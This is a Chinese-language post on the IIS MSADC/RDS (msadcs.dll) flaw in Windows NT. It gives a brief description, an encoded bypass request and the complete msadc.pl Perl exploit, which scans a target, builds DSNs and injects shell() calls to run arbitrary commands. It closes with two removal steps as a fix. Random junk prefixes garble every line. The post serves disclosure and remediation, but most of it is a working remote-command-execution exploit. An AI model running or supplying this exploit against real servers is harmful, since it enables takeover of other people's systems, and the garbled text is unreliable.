IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~;6^n 0v EQgx> 涉及程序:
&@xm< A\S Microsoft NT server
# [i3cn
&W3srJo 描述:
fhn$~8[_A 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
R{[v#sF ># #e =E 详细:
;^JMX4[ 如果你没有时间读详细内容的话,就删除:
S*n5d >; c:\Program Files\Common Files\System\Msadc\msadcs.dll
|;:Kn*0/] 有关的安全问题就没有了。
fP
3eR>e 'uzHI@i 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
HjzAFXRG W
$mw9 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
3u t<o- 关于利用ODBC远程漏洞的描述,请参看:
{oAD;m` ouyZh0G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G_qt~U #'@@P6o5 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
^7Z?}tgU http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4lCbUk[l 7}NvO"u 这里不再论述。
;9#%E ^[R/W VNk 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
IR3+BDE)> w_"-rGV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
v6wg,,T 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
8LF=l1=~ pub?% 5w~ 0Q #将下面这段保存为txt文件,然后: "perl -x 文件名"
\'zloBU Wm}T=L` #!perl
(I6Q"&h] #
9*~";{O.Oa # MSADC/RDS 'usage' (aka exploit) script
jZ"j_=o@ #
N2|NYDQs # by rain.forest.puppy
)b%zYD9p #
XL44pE
m # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
n@H;*nI| # beta test and find errors!
4KHIUW$ M%$ITE use Socket; use Getopt::Std;
9Y:.v@:}0 getopts("e:vd:h:XR", \%args);
Gh6U<;V?* X]2x0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
JoG(Nk] rmC7!^/ if (!defined $args{h} && !defined $args{R}) {
UCj<FN ` print qq~
xY.?OHgG/ Usage: msadc.pl -h <host> { -d <delay> -X -v }
9:3`LY3wW -h <host> = host you want to scan (ip or domain)
(]?M=?0\ -d <seconds> = delay between calls, default 1 second
JbitRV@a -X = dump Index Server path table, if available
x1Z'_Qw -v = verbose
s^.tj41Gx} -e = external dictionary file for step 5
;*+H& :)4c_51 ` Or a -R will resume a command session
_V8;dv8 ~$//4kES ~; exit;}
ugj I$u Q t>|TGz $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
q-@&n6PEOZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
B7Zi|-F if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4$mtc*tzT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!?J-Y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-2u)orWP if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
A@Zqh<,Ud 8df| 9E$ if (!defined $args{R}){ $ret = &has_msadc;
Nw"?~"bo die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
n
_x+xVi% *)?'! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"&`>+Yw . "cmd /c ";
'6g-]rE[ $in=<STDIN>; chomp $in;
Y]`o-dV $command="cmd /c " . $in ;
92C; a5s 6f
t6;*, if (defined $args{R}) {&load; exit;}
.!+7|us8l\ k}qCkm27 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
f<oU"WM &try_btcustmr;
Brd9"M|d z TPNQ0=| print "\nStep 2: Trying to make our own DSN...";
'R-g:X\{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
UKTfLh Q`;eI
a6U print "\nStep 3: Trying known DSNs...";
1*6xFn &known_dsn;
cf^ i!X0 )J+A2> print "\nStep 4: Trying known .mdbs...";
pp{p4Z &known_mdb;
R>5Xv%R d.Ccc/1- if (defined $args{e}){
<$Sl%DoS print "\nStep 5: Trying dictionary of DSN names...";
JvP>[vb &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Xx2t0AIB n0EW
U,1 print "Sorry Charley...maybe next time?\n";
Bva2f:)K| exit;
B~@Gfb>`' D
dCcsYm, ##############################################################################
~6O~Fth oIj-Y`92! sub sendraw { # ripped and modded from whisker
mb%U~Na sleep($delay); # it's a DoS on the server! At least on mine...
h qhX my ($pstr)=@_;
9%"\s2T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>vYb'%02 die("Socket problems\n");
(J%>{?"ij if(connect(S,pack "SnA4x8",2,80,$target)){
CvEIcm=t select(S); $|=1;
$b7@S`5 print $pstr; my @in=<S>;
,&fZo9J9 select(STDOUT); close(S);
*WFd[cKE
return @in;
{gD`yoPrV } else { die("Can't connect...\n"); }}
K:Z(jF!j IGlyx'\_ ##############################################################################
B[#n,ay ;kR=vv sub make_header { # make the HTTP request
a0 PU&o1EF my $msadc=<<EOT
z!.cc6R POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
F!4V!VWA} User-Agent: ACTIVEDATA
hd(TKFL^y Host: $ip
a<E9@ Content-Length: $clen
Dbq/t^ Connection: Keep-Alive
.!i`YT*jF >,_0Mem2Rr ADCClientVersion:01.06
&RI;!qn6( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=*zde0T?l 8Z"f" --!ADM!ROX!YOUR!WORLD!
-XK;B--c Content-Type: application/x-varg
p&)d]oV> Content-Length: $reqlen
R?tjobk! gf9U<J#&C EOT
0L ,!o[L* ; $msadc=~s/\n/\r\n/g;
R7!v=X]i return $msadc;}
nG{o$v_| &N+`O)$ ##############################################################################
hn/yX|4c( sX*L[3!vN sub make_req { # make the RDS request
l%?4L/J)# my ($switch, $p1, $p2)=@_;
c5 AaUza my $req=""; my $t1, $t2, $query, $dsn;
.)p%|A#^ *
{~`Lw)y if ($switch==1){ # this is the btcustmr.mdb query
G K3T w $query="Select * from Customers where City=" . make_shell();
/eXiWa sQ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vifw
FPe $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)54a' Hp )`ixT) elsif ($switch==2){ # this is general make table query
X%N!gy $query="create table AZZ (B int, C varchar(10))";
~F-lO1 $dsn="$p1";}
#`K {vj H8HVmfM elsif ($switch==3){ # this is general exploit table query
HD2C^V2@M $query="select * from AZZ where C=" . make_shell();
`_i|\}tl $dsn="$p1";}
piuM#+Y\'S Dsc0;7~6 elsif ($switch==4){ # attempt to hork file info from index server
Yo=$@~vN] $query="select path from scope()";
ZJF+./vN $dsn="Provider=MSIDXS;";}
jENC1T( ;cPPx`0$9 elsif ($switch==5){ # bad query
UugR $query="select";
Ht/#d6cQ $dsn="$p1";}
~{-Ka>A PlK3; $t1= make_unicode($query);
Gr)G-zE $t2= make_unicode($dsn);
=PNkzFUo $req = "\x02\x00\x03\x00";
J|^z>gP( $req.= "\x08\x00" . pack ("S1", length($t1));
U /~uu $req.= "\x00\x00" . $t1 ;
u2`j\
Vu $req.= "\x08\x00" . pack ("S1", length($t2));
0 z]H= $req.= "\x00\x00" . $t2 ;
}m%&|:PH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%6Vb1?x return $req;}
W=LJhCpRHj Z#(Y%6[u ##############################################################################
)PYh./_2 `L[q`r7 sub make_shell { # this makes the shell() statement
wJp1Fl~ return "'|shell(\"$command\")|'";}
fo`R=|L[ 8bs' Ek{'o ##############################################################################
C&%NO;Ole |cp_V sub make_unicode { # quick little function to convert to unicode
-1NR]#P' my ($in)=@_; my $out;
m,62'
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"!7Hu7 return $out;}
Ea'jAIFPpO GO@<?>K ##############################################################################
55UPd#E' BA@M>j6d sub rdo_success { # checks for RDO return success (this is kludge)
skTaIGRL my (@in) = @_; my $base=content_start(@in);
/vi Ic
%= if($in[$base]=~/multipart\/mixed/){
Kng=v~)N' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
S')DAx return 0;}
|`Yn'Mj8rm yV(9@lj3; ##############################################################################
e{Vn{.i,5 8t, &dq sub make_dsn { # this makes a DSN for us
m_Z(osoE#W my @drives=("c","d","e","f");
&V SZ print "\nMaking DSN: ";
2EN}"Du]mj foreach $drive (@drives) {
,/TmTX--d print "$drive: ";
eT5IL(mH my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
d)D!np= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
P?c V d2Y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U 0~BcFpD $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
F9r/
M"5 return 0 if $2 eq "404"; # not found/doesn't exist
%6^nb'l'C if($2 eq "200") {
lcy+2)+ foreach $line (@results) {
*P]]7DR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
J(maJuY } return 0;}
c=bK_Z_ 2J$vX( ##############################################################################
]q[(z Nge@8 sub verify_exists {
Z)=S>06X Q my ($page)=@_;
k\*?<g my @results=sendraw("GET $page HTTP/1.0\n\n");
D)l\zs%ie return $results[0];}
|22vNt_ +/kOUz/] ##############################################################################
Vkd_&z7 h05FR[</ sub try_btcustmr {
c+T`X?.j my @drives=("c","d","e","f");
NG:4Q.G1g my @dirs=("winnt","winnt35","winnt351","win","windows");
3PL0bejaT7 F^%\AA]8 foreach $dir (@dirs) {
F1B/cd print "$dir -> "; # fun status so you can see progress
@2d9
7.X foreach $drive (@drives) {
rUyGTe(@h print "$drive: "; # ditto
k{b|w') $reqlen=length( make_req(1,$drive,$dir) ) - 28;
+%KkzdS' $reqlenlen=length( "$reqlen" );
h)j#?\KYm9 $clen= 206 + $reqlenlen + $reqlen;
aK| tX1`/}`` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
S
Te8*=w if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
-b8SaLak else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
}U5$~,*p $v e$Sq ##############################################################################
@(E6P;+{ F`(;@LO sub odbc_error {
\T<F#a my (@in)=@_; my $base;
Qy4Pw\ my $base = content_start(@in);
qxHn+O!h if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
kRb JK $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QfPw50N; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pr4y*!|Y$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a|4D6yUw| return $in[$base+4].$in[$base+5].$in[$base+6];}
Iw(
wT_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9kqR-T|Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.'38^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
yI07E "9 `U\l: ~]e ##############################################################################
^4Xsd h5 ya^8mp- sub verbose {
fGs\R] my ($in)=@_;
0]MD?6- return if !$verbose;
yENAc sv print STDOUT "\n$in\n";}
7
<]YK`a2d Z(R0IW ##############################################################################
:)B1|1 xt"-Jmox sub save {
=ONM#DxH my ($p1, $p2, $p3, $p4)=@_;
<n~.X<6V' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~OxFgKn23& print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S*J\YcqSC close OUT;}
8Exky^OT| q{b-2k ##############################################################################
3W#E$^G_v 4t/ ?b sub load {
$9X?LGUz my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#^9k&t#!6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
EowzEGq!a5 @p=<IN>; close(IN);
:5T=y @ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Pw7uxN` $target= inet_aton($ip) || die("inet_aton problems");
JgKhrDx print "Resuming to $ip ...";
<u0}&/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
dvZlkMm
if($p[1]==1) {
C|w<mryx $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
0nB[Udk? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
`D=`xSEYl my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{+d)M if (rdo_success(@results)){print "Success!\n";}
VSV]6$~H else { print "failed\n"; verbose(odbc_error(@results));}}
`l.bU3C elsif ($p[1]==3){
.;ofRx< if(run_query("$p[3]")){
98?O[= print "Success!\n";} else { print "failed\n"; }}
v.>K
)%`# elsif ($p[1]==4){
|/%5~=%7 if(run_query($drvst . "$p[3]")){
jA^Dk$ print "Success!\n"; } else { print "failed\n"; }}
OU#p^5K exit;}
8tna<Hx t#y,9>6 ##############################################################################
hmG8
{h/ X%(NI(+x, sub create_table {
{.KD#W
$5 my ($in)=@_;
34k>O $reqlen=length( make_req(2,$in,"") ) - 28;
>b5 ;I1o=y $reqlenlen=length( "$reqlen" );
PN<VqtW $clen= 206 + $reqlenlen + $reqlen;
z\8s |! my @results=sendraw(make_header() . make_req(2,$in,""));
BtKor6ba return 1 if rdo_success(@results);
*o:J 4' my $temp= odbc_error(@results); verbose($temp);
`VUJW]wGu return 1 if $temp=~/Table 'AZZ' already exists/;
4(oU88z return 0;}
@V5i H8dS]N~[Y ##############################################################################
Sj|tR[SAoD En\q. 3
5 sub known_dsn {
birc&< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
e"bzZ!c&~V my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
x{K"z4xbI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
'r\RN\PT "banner", "banners", "ads", "ADCDemo", "ADCTest");
|s(Ih_Zn N3MPW foreach $dSn (@dsns) {
Qy[S~D_ print ".";
;bg]H >$U7 next if (!is_access("DSN=$dSn"));
mXS]SE if(create_table("DSN=$dSn")){
!7)#aXt& print "$dSn successful\n";
ST?Rl@4 if(run_query("DSN=$dSn")){
f>4|>kS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Qo^(r$BD print "Something's borked. Use verbose next time\n";}}} print "\n";}
Wq5}LO) v'Ehr**]+ ##############################################################################
2QAP$f0Ln CnZEBAU sub is_access {
FkuD Gg~a my ($in)=@_;
CxJ3u $reqlen=length( make_req(5,$in,"") ) - 28;
_-543B} $reqlenlen=length( "$reqlen" );
/EP
zT7 $clen= 206 + $reqlenlen + $reqlen;
zF>;7'\x my @results=sendraw(make_header() . make_req(5,$in,""));
9%NobT my $temp= odbc_error(@results);
_O'!C!K6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ePJ_O~c return 0;}
OgC,oj,!/ X/vyb^:U ##############################################################################
zy"k b La'6k sub run_query {
~I;x_0iY4 my ($in)=@_;
P:vp/x! $reqlen=length( make_req(3,$in,"") ) - 28;
FBB<1( {A $reqlenlen=length( "$reqlen" );
*)
T"-}F $clen= 206 + $reqlenlen + $reqlen;
gC iM\Qx my @results=sendraw(make_header() . make_req(3,$in,""));
|o9`h 9i return 1 if rdo_success(@results);
[+R_3'aK my $temp= odbc_error(@results); verbose($temp);
2@
9? ~?r return 0;}
G7v<Q,s hxM{}}.E ##############################################################################
_Z9d.- T`Up%5Dk sub known_mdb {
x0ipk} my @drives=("c","d","e","f","g");
_
A#lyp my @dirs=("winnt","winnt35","winnt351","win","windows");
6S_mfWsi my $dir, $drive, $mdb;
Sa[lYMuB my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'v
CMf U!uJ )mm # this is sparse, because I don't know of many
NQZ /E )f my @sysmdbs=( "\\catroot\\icatalog.mdb",
=SeQ- H# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S5ai@Ksf "\\system32\\certmdb.mdb",
a@|H6:| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
cb0rkmO w2X HY>6]; my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.[1 f$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
;|?_C8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
RN[x\" , "\\cfusion\\cfapps\\security\\realm_.mdb",
+>*=~R "\\cfusion\\cfapps\\security\\data\\realm.mdb",
h^Yh~84T "\\cfusion\\database\\cfexamples.mdb",
FGyrDRDwC "\\cfusion\\database\\cfsnippets.mdb",
S (xs;tZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]a&riPh" "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
X`WS&!C< "\\cfusion\\brighttiger\\database\\cleam.mdb",
>4kQ9lXL "\\cfusion\\database\\smpolicy.mdb",
Wex2Fd?DO "\\cfusion\\database\cypress.mdb",
$t}W,? "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
L?j<KW "\\website\\cgi-win\\dbsample.mdb",
oi,KA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
>Ovz; "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^AJ
2Y_}v ); #these are just
CdmpKkq# foreach $drive (@drives) {
@sZ7Ka foreach $dir (@dirs){
k\T]*A foreach $mdb (@sysmdbs) {
0)b1'xt', print ".";
]S@T|08b if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
;}U]^LT= print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Kg>B$fBx) if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
XXA'B{@Y) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
!> +Lre@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
- ry p=> +3 foreach $drive (@drives) {
fS|e{!iI" foreach $mdb (@mdbs) {
e],(d7 Jo print ".";
MmvOyKNZF if(create_table($drv . $drive . $dir . $mdb)){
Vh?vD:| print "\n" . $drive . $dir . $mdb . " successful\n";
;^0ok'P\~9 if(run_query($drv . $drive . $dir . $mdb)){
HDzeotD print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kv2o.q } else { print "Something's borked. Use verbose next time\n"; }}}}
^q/^.Gf }
I{U|'a g4Dck4^!4 ##############################################################################
GeB&S!F Q#ksf
h!D sub hork_idx {
-UzWLVB^ print "\nAttempting to dump Index Server tables...\n";
Nb_Glf print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-#/DK $reqlen=length( make_req(4,"","") ) - 28;
nFG X2|d $reqlenlen=length( "$reqlen" );
1pDU}rPJ. $clen= 206 + $reqlenlen + $reqlen;
-]u>kjiIT my @results=sendraw2(make_header() . make_req(4,"",""));
y $uq`FW if (rdo_success(@results)){
fSVM[ my $max=@results; my $c; my %d;
xy!E_CuC$ for($c=19; $c<$max; $c++){
6]<yR>
' $results[$c]=~s/\x00//g;
2h*aWBLk $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
9IG<9uj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
h;r^9g $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\vc&V8 $d{"$1$2"}="";}
4Y1^ U{A+ foreach $c (keys %d){ print "$c\n"; }
g +gcH } else {print "Index server doesn't seem to be installed.\n"; }}
3PRU 9 4lt?|3= ##############################################################################
)c9Xp: ( )ldn?v sub dsn_dict {
8L/XZ) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
rOEBL|P0 while(<IN>){
F 8sOc&L $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7^! zT next if (!is_access("DSN=$dSn"));
,f,+) C$ if(create_table("DSN=$dSn")){
G^SJhdO(Q print "$dSn successful\n";
Hi~)C \ if(run_query("DSN=$dSn")){
u6l)s0Q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P2s\f;Dwr print "Something's borked. Use verbose next time\n";}}}
[`tNa Vg print "\n"; close(IN);}
Bv3B|D&+ f!5w+6(
##############################################################################
3%o}3.P,:@ &LB` sub sendraw2 { # ripped and modded from whisker
-OD&x%L*{3 sleep($delay); # it's a DoS on the server! At least on mine...
|+sAqx1IF my ($pstr)=@_;
ls9Y? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3jJV5J'" die("Socket problems\n");
5i'?oXL if(connect(S,pack "SnA4x8",2,80,$target)){
B]gyj print "Connected. Getting data";
+CSR! open(OUT,">raw.out"); my @in;
Tl-%;X<X select(S); $|=1; print $pstr;
@t$yg$Q?[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
zYdieE\- close(OUT); select(STDOUT); close(S); return @in;
W}zq9|p } else { die("Can't connect...\n"); }}
?-`&YfF
C; U4`0=8 ##############################################################################
i7 YUyU u`(yT<>H sub content_start { # this will take in the server headers
"66#F my (@in)=@_; my $c;
a7u*d`3X= for ($c=1;$c<500;$c++) {
s)-bOZi if($in[$c] =~/^\x0d\x0a/){
$1zWQJd[- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
{dE(.Z?]!# else { return $c+1; }}}
?GLCd7TP return -1;} # it should never get here actually
KZ AF9 >nvK{6xR: ##############################################################################
).e}.Z6[i` ^AOJ^@H^> sub funky {
4sH?85=j my (@in)=@_; my $error=odbc_error(@in);
YG0b*QBY~ if($error=~/ADO could not find the specified provider/){
M5_t#[ [ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
7'{Vh{. exit;}
#NL'r99D/o if($error=~/A Handler is required/){
RwrRN+&s\ print "\nServer has custom handler filters (they most likely are patched)\n";
uocFOlU0n exit;}
:1gpbfW if($error=~/specified Handler has denied Access/){
#(+V&<K print "\nServer has custom handler filters (they most likely are patched)\n";
V;J3lV< exit;}}
;}ThBb3 -3b_}by ##############################################################################
4_'B oU4 ICe;p
V sub has_msadc {
i;|I;5tC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q6
m.yds my $base=content_start(@results);
}mUb1b return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Qr6PkHU return 0;}
(q}LirR plJUQk ########################
7xG~4N<)] 7<B-2g 7;Q4k"h 解决方案:
mZM7 4!4X 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
f3>DmH# 2、移除web 目录: /msadc